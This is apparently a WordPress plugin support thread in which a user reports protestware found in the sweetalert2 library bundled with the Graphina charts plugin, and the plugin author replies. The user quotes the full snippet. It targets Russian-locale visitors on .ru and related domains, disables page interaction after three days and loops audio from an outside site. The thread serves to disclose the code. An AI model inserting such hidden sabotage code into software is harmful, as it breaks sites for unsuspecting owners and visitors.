• Resolved began87

    (@began87)


    What is this?

    // Dear russian users visiting russian sites. Let's have fun.
    if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
    const now = new Date();
    const initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
    localStorage.setItem('swal-initiation',
    ${now});
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
    setTimeout(() => {
    document.body.style.pointerEvents = 'none';
    const ukrainianAnthem = document.createElement('audio');
    ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
    ukrainianAnthem.loop = true;
    document.body.appendChild(ukrainianAnthem);
    setTimeout(() => {
    ukrainianAnthem.play().catch(() => {
    // ignore
    });
    }, 2500);
    }, 500);
    }
    }

    File: /wp-content/plugins/graphina-elementor-charts-and-graphs/node_modules/sweetalert2/dist/sweetalert2.esm.all.js
    lines: 4538-4558
    Why should I look for it?
    Are you politicized?
    Please provide the source code for verification

    • This topic was modified 10 months, 2 weeks ago by began87.
Viewing 5 replies - 1 through 5 (of 5 total)
  • Thread Starter began87

    (@began87)

    https://github.com/sweetalert2/sweetalert2

    A link to the Software you are using. Please read the description carefully. And either fork and clean up the code, or stop using it because it affects your reputation.

    Thread Starter began87

    (@began87)

    Plugin Author Iqonic Design

    (@iqonicdesign)

    Hi @began87 ,

    Thank you for bringing this to our attention. We have updated the plugin and replaced the SweetAlert2 library with a clean version to ensure there are no unexpected behaviors. Please update to the latest version of the Graphina plugin to resolve this issue.

    If you have any further concerns or suggestions, feel free to reach out.

    Best regards,
    Iqonic Design

    Thread Starter began87

    (@began87)

    What’s the point of updating the library to the latest version? The code is still in it.
    Did you fork the SweetAlert2 repository and delete the code?
    It’s just that if I turn on the plugin on the site now without clearing it, I’ll get the admin panel blocked and the anthem unblocked again.
    In the original library on github, the code is present in place.

    • This reply was modified 10 months, 2 weeks ago by began87.
    Plugin Author Iqonic Design

    (@iqonicdesign)

    Hi @began87 ,

    Thank you for your continued feedback.

    We want to assure you that we have replaced the SweetAlert2 library with a clean version in our development workflow. Kindly make sure to delete your existing node_modules folder and reinstall the dependencies to ensure the latest clean version is being used:

    npm install

    After doing this, please recompile the assets and check if the issue still persists.

    Let us know if you still notice any unwanted behavior—we’re here to help ensure everything runs smoothly.

    Best regards,
    Iqonic Design

Viewing 5 replies - 1 through 5 (of 5 total)

The topic ‘The virus code’ is closed to new replies.